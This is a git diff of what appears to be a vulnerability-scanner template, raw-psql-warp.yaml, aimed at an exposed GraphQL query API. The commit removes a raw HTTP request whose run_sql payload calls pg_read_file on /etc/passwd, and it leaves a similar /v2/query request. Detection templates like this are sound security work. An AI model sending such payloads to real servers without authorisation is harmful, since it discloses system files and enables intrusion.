Update raw-psql-warp.yaml
parent
2219ab607e
commit
5c931f8d00
|
@ -9,26 +9,6 @@ info:
|
|||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /v1/query HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/json
|
||||
|
||||
{
|
||||
"type": "bulk",
|
||||
"source": "default",
|
||||
"args":[
|
||||
{
|
||||
"type": "run_sql",
|
||||
"args": {
|
||||
"source":"default",
|
||||
"sql":"SELECT pg_read_file('/etc/passwd',0,100000);",
|
||||
"cascade": false,
|
||||
"read_only": false
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
- |
|
||||
POST /v2/query HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
@ -49,6 +29,7 @@ requests:
|
|||
}
|
||||
]
|
||||
}
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
|
|
Loading…
Reference in New Issue